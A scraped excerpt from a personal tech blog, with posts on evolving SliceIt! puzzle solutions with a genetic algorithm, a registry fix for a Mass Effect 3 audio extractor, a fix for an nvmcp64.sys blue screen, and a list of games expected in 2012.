The algorithm and Canvas/JS implementation of SliceIt! can be tested <a href="http://static.macuyiko.com/files/sliceit/">here</a>. If you run the genetic algorithm (click "Evolve"), you'll notice that, although sometimes a valid solution is found, the algorithm has a tendency to get stuck in a local optimum (e.g. where only four of the required five lines are drawn). The reason for this is something we haven't yet talked about: the fitness function.</div>
<div>
<br /></div>
<div>
As with many applications of evolutionary computing, the definition of fitness function is certainly a hard task in this case. The main issue is that three variables have to be incorporated when evaluating a solution:</div>
<div>
<ul>
<li>The sizes of the areas created.</li>
<li>The number of areas created. </li>
<li>The number of valid lines drawn.</li>
</ul>
<br />
The first point is quite simple, just compute sum of the the (squared) differences between each area and the optimal target area. For example, if a level has an area size of 1000, and 10 areas have to be created, then we compute the fitness as:<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuevVlNNQGbIUA_tlBiWIhk_cGvXXFGsBJEfIV-xMqhIad2gmyzj77xS24VEbkZy4ac4dPcA-Lp8-A0XJSkXkuSSNf7uq10n3kagTTHP29nJKSKLGrqDKebBhgsrRWIaRToI3H7A/s1600/slice21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuevVlNNQGbIUA_tlBiWIhk_cGvXXFGsBJEfIV-xMqhIad2gmyzj77xS24VEbkZy4ac4dPcA-Lp8-A0XJSkXkuSSNf7uq10n3kagTTHP29nJKSKLGrqDKebBhgsrRWIaRToI3H7A/s1600/slice21.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Using this function alone, however, often leads to the algorithm getting stuck in local optima. Therefore, we need to punish for missing lines/areas as well. The problem is finding a function which drives the algorithm towards adding/moving a line when it is invalid, while still remaining able to "escape" local optima by making a line or the number of areas temporarily invalid.</div>
<div>
<br /></div>
<div>
I've tried different fitness functions, but none of them seem to be particularly efficient (feel free to modify the code in "Candidate.prototype.calcFitness", I've left the code uncompressed).<br />
<br /></div>
<h3>
The Retry (Using the Watchmaker library)</h3>
<div>
<br />
As an extra exercise, I rewrote a <a href="https://github.com/Macuyiko/sliceit-genetic-java">very basic version of the algorithm using Java</a>. To implement the genetic algorithm, I opted to give the excellent, thorough <a href="http://watchmaker.uncommons.org/">Watchmaker library</a> a go.</div>
<div>
<br /></div>
<div>
Just for fun, I recorded a timelapse of some of my coding:<br />
<br /></div>
<div>
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/t39UaG9JZlg" width="560"></iframe>
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br />
This version works a bit better, mainly since there are no "forbidden areas" and the mutation operators are a bit more fine-tuned. See the suggestions below for more ideas if you want to try this experiment yourself.<br />
<br /></div>
</div>
<h3>
Conclusions and Suggestions</h3>
<div>
<br />
Despite fact that the result works less perfect than expected, this still was a fun weekend-project. This project was a good exercise emphasizing the importance of a good fitness function when dealing with genetic algorithms.</div>
<div>
<br /></div>
<div>
Working with Javascript and Canvas in this manner was also quite new for me. While I've had plenty of experience applying Javascript in a normal web/DOM context, dealing with geometry is something else entirely. Writing object oriented code in Javascript as done here was also something which required some getting used to. In hindsight, the code could have been made a lot cleaner.</div>
<div>
<br /></div>
<div>
Programming a project like this one is somewhat easier in Java. The Watchmaker library especially seems like an amazingly engineered piece of software; I'll certainly revisit it later.</div>
<div>
<br /></div>
<div>
People who want to try this project for themselves or who want to extend my code are certainly free to do so. (The Javascript version can be found
<a href="http://static.macuyiko.com/files/sliceit/">here</a> -- just view the source of the web page. The Java version is on <a href="https://github.com/Macuyiko/sliceit-genetic-java">github</a>.) Some suggestions:</div>
<div>
<ul>
<li>Try implementing complex polygons (i.e. concave polygons or polygons with holes in a robust manner). This is something I'd like to come back to later, as the current implementation bugs me.</li>
<li>For the <i>initial construction</i> of the population in the genetic algorithm, several techniques can be used. The one I use here just randomly draws lines, with no regard if they're valid of not. An alternative technique could opt to only start from valid lines (by requiring that lines stay outside the given starting shapes, for example).</li>
<li>For the <i>mutation operators</i>, I just move the points of lines to new random locations. The Java version is a bit smarter and moves points slightly to a neighboring position. Additionally, another "mutator" (with a lower mutation chance) is added which completely creates a new solution. Try making the algorithm "smarter" in this manner.</li>
<li>The current version has no regard for symmetry, while human players will often prefer symmetric solutions. Try to find a way to determine and score this aspect.</li>
<li>Finally, try coming up with better-performing fitness functions. Just using the squared sum of differences might work, provided you leave enough freedom to search for non-local solutions (e.g. high population size, enough chance for mutations). The way crossover (offspring generation) is performed doesn't seem to matter much, given the simple solution structure.</li>
<li>Changing the population members' format could work as well, e.g. allow members to contain more lines than the goal number (n) given, but only evaluate the first valid n lines. This allows members to "carry" with them some genetic variety for more generations.</li>
</ul>
<div>
The links, once more:</div>
</div>
<div>
<b>Javascript version:</b> <a href="http://static.macuyiko.com/files/sliceit/">http://static.macuyiko.com/files/sliceit/</a></div>
<div>
<b>Java source: </b><a href="https://github.com/Macuyiko/sliceit-genetic-java">https://github.com/Macuyiko/sliceit-genetic-java</a></div>
<div>
<b>Java binary (jar): </b><a href="https://github.com/Macuyiko/sliceit-genetic-java/blob/master/deploy/rungeneticsliceit.jar?raw=true">https://github.com/Macuyiko/sliceit-genetic-java/blob/master/deploy/rungeneticsliceit.jar?raw=true</a></div>
<div>
<div>
</div>
</div>Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com2tag:blogger.com,1999:blog-21390211.post-4137586568428107922012-03-24T12:44:00.000+01:002012-03-24T12:46:01.152+01:00Gibbed's Mass Effect 3 Audio Extractor: "IO.Path.Combine path1 cannot be null"To fix this, use <span style="font-family: 'Courier New', Courier, monospace;">regedit </span>to go to<br />
<br />
<ul>
<li><span style="font-family: 'Courier New', Courier, monospace;">HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\BioWare\\Mass Effect 3</span> (on 64 bit machines)</li>
<li><span style="font-family: 'Courier New', Courier, monospace;">HKEY_LOCAL_MACHINE\\SOFTWARE\\BioWare\\Mass Effect 3</span> (on 32 bit machines)</li>
</ul>
<div>
Add a new registry entry (right click -> "New" -> "String Value"). Name it "Install Dir". Set the value to your installation directory (the same value as the "Path" registry entry). Close <span style="font-family: 'Courier New', Courier, monospace;">regedit</span>. Re-open Gibbed's Mass Effect 3 Audio Extractor.</div>Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.com4tag:blogger.com,1999:blog-21390211.post-29250587778864294172012-02-28T21:14:00.002+01:002012-02-28T21:14:58.543+01:00The nvmcp64.sys Blue ScreenThis issue has been plaguing my Windows 7 installation since the beginning of time, or, well -- the beginning of this particular Windows 7 installation...<br />
<br />
Every once in a while, my computer would blue screen displaying a <code>DRIVER_IRQL_NOT_LESS_OR_EQUAL</code> error due to a certain <code>nvmcp64.sys</code>, often with any playing audio looping the same fragment over and over again until I would grudgingly press the reset button.<br />
<br />
<code>DRIVER_IRQL_NOT_LESS_OR_EQUAL</code> is one of those typical cryptic "STOP errors" that actually tell you almost nothing. The only reasonable thing to deduce is that it's probably a driver acting up, or some hardware gone bad. Searching around on forums quickly leads one to downloading Memtest86 to check if your RAM has gone bad, or to advice telling you that you should try removing your graphics card/audio card/memory/hard drives/and every other peripheral imaginable one by one, trying every possible combination of hardware until your computer boots up again or you die from boredom -- whichever comes first. Meh. Checking your memory is a good idea once in a while, but once your memory has been working for a year, chances are it will remain working perfectly until you build or buy your next machine.<br />
<br />
Another thing you could do (especially if you've seen your fair share of blue screens) is to take a look at the dump files Windows creates when it crashes (look in <code>C:\Windows\Minidump\</code>). Since we won't do that here, I won't go over <a href="http://support.microsoft.com/kb/315263">the</a> <a href="http://www.networkworld.com/news/2005/041105-windows-crash.html">details</a> on how to analyse these dumps. The reason why we won't explore the dump is because we already have a clear idea about which process, library, or - in this case - driver is causing the problem: <code>nvmcp64.sys</code>. So what is <code>nvmcp64.sys</code> exactly?<br />
<br />
The prefix "<code>nv</code>" leads us to a plausible candidate: Nvidia! You might think that updating your graphics drivers are in order (another advice so commonly encountered), but you would be wrong, since the driver in this case is related to the nForce (Nvidia's bus architecture to handle IDE, RAID, networking and audio) chipset found on the motherboard. While searching around, some sites will advice you to disable your RAID controller or some such, which would again be incorrect, since <code>nvmcp64.sys</code>' job is also... to handle audio.<br />
<br />
<b>The solution</b> is in fact pretty simple. Uninstall the Nvidia audio driver and go to Realtek's website to download a <a href="http://www.realtek.com.tw/downloads/downloadsCheck.aspx?Langid=1&PNid=23&PFid=23&Level=4&Conn=3&DownTypeID=3&GetDown=false#AC">general AC'97 audio driver</a> (an audio standard used by virtually any motherboard manufacturer, now replaced by Realtek's High Definition Audio standard). Realtek warns you that their general purpose drivers "may not offer the customizations made by your system/motherboard manufacturer", which is acceptable.<br />
<br />
After doing this, audio now works fine, and the blue screens are completely gone. I've indeed lost some customizations/features offered by Nvidia (such as the record what you hear functionality), but these can be replaced by other software tools and were not really used that much by me anyway. Audio itself plays fine, without causing blue screens any longer.Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-40044807411483842572012-02-12T20:30:00.002+01:002012-02-12T20:34:51.624+01:00Games I'll Keep An Eye On In 2012<h3 style="text-align: left;">
Big-budget releases</h3>
<div style="text-align: left;">
In order of release date. Some release dates are an estimate. Unannounced games are not listed here.<br />
<b><br /></b><br />
<b>January</b></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfX1tys-aYuPp67B55sX3Uv3ChMus0e-Q-AYaqt__BocIWAJ6dJK8jvjdfMwR8c7YpT6Mn_GZIlJUQAb90y0DG9s5tHJ2bmtaWu2OLBuEUR_lpFDHgUgpoG9TC0gujiVZ3RLk_FA/s1600/01swtor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfX1tys-aYuPp67B55sX3Uv3ChMus0e-Q-AYaqt__BocIWAJ6dJK8jvjdfMwR8c7YpT6Mn_GZIlJUQAb90y0DG9s5tHJ2bmtaWu2OLBuEUR_lpFDHgUgpoG9TC0gujiVZ3RLk_FA/s1600/01swtor.png" /></a> Star Wars: The Old Republic</div>
<div style="text-align: left;">
<b><br /></b></div>
<div style="text-align: left;">
<b>February</b></div>
<div style="text-align: left;">
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2sKTfT2zHZ42Sx1ipGlOPBHg6GmxlbaWhpNffTbhBftPNbKyadxthxxH1RUGdoztD9zC1ThcVby9IkD6uiuMhqGHF5sje1Dc6RGY09mSHTBMYpl5QMMH-5w0vu2QF4LuIinbhxg/s1600/02amalur.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2sKTfT2zHZ42Sx1ipGlOPBHg6GmxlbaWhpNffTbhBftPNbKyadxthxxH1RUGdoztD9zC1ThcVby9IkD6uiuMhqGHF5sje1Dc6RGY09mSHTBMYpl5QMMH-5w0vu2QF4LuIinbhxg/s1600/02amalur.png" /></a>Kingdoms of Amalur: Reckoning</div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaSg5vHSFErJq-zL2l7Z96NAVCwevwMJvaaI8qSFhSSYVb4o6qsp13e_FzU0LWyUj7Pu8VMOBrw0HRgNTBtaMu5RL1cIjAz898wUhVRfS4zEmlzeJJNTuS6HiMFRS_GRDrL5hl_A/s1600/03binary.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaSg5vHSFErJq-zL2l7Z96NAVCwevwMJvaaI8qSFhSSYVb4o6qsp13e_FzU0LWyUj7Pu8VMOBrw0HRgNTBtaMu5RL1cIjAz898wUhVRfS4zEmlzeJJNTuS6HiMFRS_GRDrL5hl_A/s1600/03binary.png" /></a>Binary Domain</div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpkZp-PJolwa08P4m3hTWDZwEkHxiJPNrkpaHETeu30SVheBiDeHhK3TxDKBuIA5VFoic2d7k6Vxgu6eZr9T9I_7j_9vNNqIu7Qw7Gk4o1hc1nlXqEKQ8cvUKjbJZAcbrJyNmeMQ/s1600/04ssx.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpkZp-PJolwa08P4m3hTWDZwEkHxiJPNrkpaHETeu30SVheBiDeHhK3TxDKBuIA5VFoic2d7k6Vxgu6eZr9T9I_7j_9vNNqIu7Qw7Gk4o1hc1nlXqEKQ8cvUKjbJZAcbrJyNmeMQ/s1600/04ssx.png" /></a>SSX</div>
<div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9dN4Z-AQu9EnMbbuyMgb8otGveEQoYelWtyuAtpLFinN9GQVlLc3XNKL6UOIWodFcn_OgaGcEDBlsL7bbyCvr1Y0QyQULe5PciZVBmjjXVO82ju_8XCeXmzHpAx7CXmakLAPUwA/s1600/05syndicate.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9dN4Z-AQu9EnMbbuyMgb8otGveEQoYelWtyuAtpLFinN9GQVlLc3XNKL6UOIWodFcn_OgaGcEDBlsL7bbyCvr1Y0QyQULe5PciZVBmjjXVO82ju_8XCeXmzHpAx7CXmakLAPUwA/s1600/05syndicate.png" /></a>Syndicate</div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ8F00MQ9OyXxxsroC7Vwtaz3RUuamNRiOccMI7bWyVqcrqGXWObT-DDy_R8f_ihp-PvEpRr9Mpq7meRabcUnvocKnQ9YhlzlpAcH5lJ6W4hzoOZmf03btuhrZX89xNQQG62Q5Bg/s1600/06jakdaxter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ8F00MQ9OyXxxsroC7Vwtaz3RUuamNRiOccMI7bWyVqcrqGXWObT-DDy_R8f_ihp-PvEpRr9Mpq7meRabcUnvocKnQ9YhlzlpAcH5lJ6W4hzoOZmf03btuhrZX89xNQQG62Q5Bg/s1600/06jakdaxter.png" /></a>Jak and Daxter Collection</div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivKAiggLepbh3JybiC0xrmZTsBvVzBYGwoBSLLOeqhFdXMPWXPy9lytiG9jsYqPy7dzxuBHCUjnM_BV3sIWgoReJjKaahR7K2__W6CnErxJ28joTwatf-7AeO7nAY707VDjfjmZw/s1600/06thedarkness2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivKAiggLepbh3JybiC0xrmZTsBvVzBYGwoBSLLOeqhFdXMPWXPy9lytiG9jsYqPy7dzxuBHCUjnM_BV3sIWgoReJjKaahR7K2__W6CnErxJ28joTwatf-7AeO7nAY707VDjfjmZw/s1600/06thedarkness2.png" /></a>The Darkness 2</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b>March</b></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZ_ua3xA1RNPa-g8D8Bz4Kuj6ipfXJg-LJ-J2O26nXDPPdLQL2YRDT_HKUWDsYtFqQMiXyfz4EdKnaQYFItdDJ5HgqfDGXYiGU5yoEct0R193Y9StPeoqfJRgPBp7bc6CTHsRtMw/s1600/07iamalive.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZ_ua3xA1RNPa-g8D8Bz4Kuj6ipfXJg-LJ-J2O26nXDPPdLQL2YRDT_HKUWDsYtFqQMiXyfz4EdKnaQYFItdDJ5HgqfDGXYiGU5yoEct0R193Y9StPeoqfJRgPBp7bc6CTHsRtMw/s1600/07iamalive.png" /></a>I am Alive</div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE5h_iU-CuGwigUT7EqoGJLrHGsxrx5qygKxeEb09YOQODAaYyhNB-H8X0xcopd4nMYOOpRcEysD4WYNHCC1bJPl_r2IjxnOhflcZ6MgTaYIvyAqZsyqrlCSH2DtfEJio79uKVjA/s1600/08me3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE5h_iU-CuGwigUT7EqoGJLrHGsxrx5qygKxeEb09YOQODAaYyhNB-H8X0xcopd4nMYOOpRcEysD4WYNHCC1bJPl_r2IjxnOhflcZ6MgTaYIvyAqZsyqrlCSH2DtfEJio79uKVjA/s1600/08me3.png" /></a>Mass Effect 3</div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKpKtRC8mnuOQTHYft414BZKJdNQND0muNh1YTU6MLx83dyT1tEJL7duk3ds0SP5B9mOA5yAgf41YQlOzOXsqitdzroMaHahvd6gMyg6N774TrmsYns6LajuuL6vyYYkJbZpvIOQ/s1600/09diablo3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKpKtRC8mnuOQTHYft414BZKJdNQND0muNh1YTU6MLx83dyT1tEJL7duk3ds0SP5B9mOA5yAgf41YQlOzOXsqitdzroMaHahvd6gMyg6N774TrmsYns6LajuuL6vyYYkJbZpvIOQ/s1600/09diablo3.png" /></a>Diablo III</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b>April</b></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9ur_gwWPZmI4qR8XCfj8NGoD3cmc6eMnAlonbsE1mCw41fzpKVX6srun1ci6iITfUWziAB31zp_3whLR7b8-kGb5KvAO60zvOcxXclws3jdX9nE88a0uLc0hcVEvBKUzNRLXn1Q/s1600/10dmchd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9ur_gwWPZmI4qR8XCfj8NGoD3cmc6eMnAlonbsE1mCw41fzpKVX6srun1ci6iITfUWziAB31zp_3whLR7b8-kGb5KvAO60zvOcxXclws3jdX9nE88a0uLc0hcVEvBKUzNRLXn1Q/s1600/10dmchd.png" /></a>Devil May Cry HD Collection</div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSYnhwFBf3ISJHhvY7il4k8LdcXGQX9acYZXKebnmXAhA0_jkugDRjXSC01Eetd__B6claXIrTBsavCj0fD-rvrDd_MHl-NLdtEPr7fKaO6lmuBdjkZNp3Li_llV17GfZSQ8_7DA/s1600/11silenthd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSYnhwFBf3ISJHhvY7il4k8LdcXGQX9acYZXKebnmXAhA0_jkugDRjXSC01Eetd__B6claXIrTBsavCj0fD-rvrDd_MHl-NLdtEPr7fKaO6lmuBdjkZNp3Li_llV17GfZSQ8_7DA/s1600/11silenthd.png" /></a>Silent Hill HD Collection</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b>May</b></div>
<br />
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTWr9LE7OvCMHEZvwPuxZN-ux7Qu6r8f6oyh49et2pAIRsuwxoBw3XMKDv6doeaviD_h48ICabHkEI_HPJED2PGxKHNCqgdItE1V-l09t7K9WHoYspIFWZf7LF9U5wgpwLtVO_Xg/s1600/12prey2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTWr9LE7OvCMHEZvwPuxZN-ux7Qu6r8f6oyh49et2pAIRsuwxoBw3XMKDv6doeaviD_h48ICabHkEI_HPJED2PGxKHNCqgdItE1V-l09t7K9WHoYspIFWZf7LF9U5wgpwLtVO_Xg/s1600/12prey2.png" /></a>Prey 2</div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXaiCJW3it48AIOtHhwmDMqzzwafc938qi0JLJRRUNXFPKycoTWX1Ls-jBIvZUvRg_99t8fmBWI_QAHGvYvAMgCN6RNtyw8Z9zJNUNBK4NMqfm090dun2tAN06YUNOWYSsSri5eQ/s1600/13starhawk.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXaiCJW3it48AIOtHhwmDMqzzwafc938qi0JLJRRUNXFPKycoTWX1Ls-jBIvZUvRg_99t8fmBWI_QAHGvYvAMgCN6RNtyw8Z9zJNUNBK4NMqfm090dun2tAN06YUNOWYSsSri5eQ/s1600/13starhawk.png" /></a>Starhawk</div>
</div>
<div>
<div style="font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1nomllcOlK22EgixytAHCsKvalwY25GDRSS1HUBy3-cUgnp9NRS-n4SM5OV92ywX6Xb7_Hwq_wBJ2OXFKWr01GbIQAF6piaVB-QiWdDaud3E_UagUh7feuER8HyNLUh-XudoHww/s1600/14farcry3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1nomllcOlK22EgixytAHCsKvalwY25GDRSS1HUBy3-cUgnp9NRS-n4SM5OV92ywX6Xb7_Hwq_wBJ2OXFKWr01GbIQAF6piaVB-QiWdDaud3E_UagUh7feuER8HyNLUh-XudoHww/s1600/14farcry3.png" /></a>Far Cry 3</div>
<div style="font-weight: normal;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<b>June</b></div>
<div style="font-weight: normal; text-align: left;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE4RM7_PD7hyphenhyphenzNW5jx3un04ioP_KwC89DELfR6Ky9Ue8lwpSM_hluhctN15p0SpU955n589cj7wiY_onCRjGoU-dLVazDwOOqgCsviAzFLZNgz0xbnTrYHYMnn7rmU-v56gIN5xg/s1600/15maxpayne3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE4RM7_PD7hyphenhyphenzNW5jx3un04ioP_KwC89DELfR6Ky9Ue8lwpSM_hluhctN15p0SpU955n589cj7wiY_onCRjGoU-dLVazDwOOqgCsviAzFLZNgz0xbnTrYHYMnn7rmU-v56gIN5xg/s1600/15maxpayne3.png" /></a>Max Payne 3</div>
<div style="font-weight: normal;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNrah8j2L8c0atqqOIcFSJyBZj4515xbC6NTHkBqoV5zbSb3E0ztRmnbrFiesGpsi40ek8s3b44Eyo3MBP9rStXgU-MjH2qTaUcoRxCsp2z6uOpl_T5Nzm0lvNIVowQ_IRzvmRUQ/s1600/16darksiders2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><br /></a></div>
<div style="font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNrah8j2L8c0atqqOIcFSJyBZj4515xbC6NTHkBqoV5zbSb3E0ztRmnbrFiesGpsi40ek8s3b44Eyo3MBP9rStXgU-MjH2qTaUcoRxCsp2z6uOpl_T5Nzm0lvNIVowQ_IRzvmRUQ/s1600/16darksiders2.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNrah8j2L8c0atqqOIcFSJyBZj4515xbC6NTHkBqoV5zbSb3E0ztRmnbrFiesGpsi40ek8s3b44Eyo3MBP9rStXgU-MjH2qTaUcoRxCsp2z6uOpl_T5Nzm0lvNIVowQ_IRzvmRUQ/s1600/16darksiders2.png" /></a>Darksiders II</div>
<div style="font-weight: normal;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<b>July</b></div>
<div style="font-weight: normal;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXqOT2_F-pWko5a1lA1__im8XLhwSxSJQd-bgvyGG_YsRq7BpdSVTcscbXQDoSnvWP0JAHzqUPPoYLdYY3_5yw4UhkpNpByUGb-W_pkBQAdbIE6QejvGlqgVGPAhXQ6ThnjGk5rw/s1600/17prototype2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><br /></a></div>
<div style="font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXqOT2_F-pWko5a1lA1__im8XLhwSxSJQd-bgvyGG_YsRq7BpdSVTcscbXQDoSnvWP0JAHzqUPPoYLdYY3_5yw4UhkpNpByUGb-W_pkBQAdbIE6QejvGlqgVGPAhXQ6ThnjGk5rw/s1600/17prototype2.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXqOT2_F-pWko5a1lA1__im8XLhwSxSJQd-bgvyGG_YsRq7BpdSVTcscbXQDoSnvWP0JAHzqUPPoYLdYY3_5yw4UhkpNpByUGb-W_pkBQAdbIE6QejvGlqgVGPAhXQ6ThnjGk5rw/s1600/17prototype2.png" /></a>Prototype 2</div>
<div style="font-weight: normal;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<b>August</b></div>
<div style="font-weight: normal;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMHJLnE0cfo-e_cknIQY8om-db0IwdmObH65cp2WC3DePdL8kIwP4kfXwtVB49e051u3oVi8PLTWvDAKR148_ct5j6K-Oe568RSF0lhZhqkWBgERAMy6mwirjYhOJ8qDpIydIFEg/s1600/18tombraider.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><br /></a></div>
<div style="font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMHJLnE0cfo-e_cknIQY8om-db0IwdmObH65cp2WC3DePdL8kIwP4kfXwtVB49e051u3oVi8PLTWvDAKR148_ct5j6K-Oe568RSF0lhZhqkWBgERAMy6mwirjYhOJ8qDpIydIFEg/s1600/18tombraider.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMHJLnE0cfo-e_cknIQY8om-db0IwdmObH65cp2WC3DePdL8kIwP4kfXwtVB49e051u3oVi8PLTWvDAKR148_ct5j6K-Oe568RSF0lhZhqkWBgERAMy6mwirjYhOJ8qDpIydIFEg/s1600/18tombraider.png" /></a>Tomb Raider</div>
<div class="separator" style="clear: both; font-weight: normal; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRtXy7-3Y8Xbzq0dZeoVB3Fn_4U9zf4MBIpjgkjGuOtpWDz3qmd-2XP22O1E7jsS7t7RiHJAivTOoQHdt1dgatc9b4NlPByU1v9YNjrfJrkV1McprN2wiU9mfMbwZFt5grwSh29g/s1600/19guild2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRtXy7-3Y8Xbzq0dZeoVB3Fn_4U9zf4MBIpjgkjGuOtpWDz3qmd-2XP22O1E7jsS7t7RiHJAivTOoQHdt1dgatc9b4NlPByU1v9YNjrfJrkV1McprN2wiU9mfMbwZFt5grwSh29g/s1600/19guild2.png" /></a>Guild Wars 2</div>
<div style="font-weight: normal; text-align: left;">
<br /></div>
<div style="font-weight: normal; text-align: left;">
<b>September</b></div>
<div style="font-weight: normal;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJjjvd3qPy3AGkucNBBRXvo6keRPrkv8RykFqO4_Czc7rxamr3dYbLBsSBKwdywTjKIdzvtkvt7zmb87EqSKhWh0zGgKW-QxUchWlN3cTGgyZ6f7LscuzqC2WnKsFQLKt87HxbOg/s1600/20borderlands2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;"><br /></a></div>
<div style="font-weight: normal; text-align: left;">
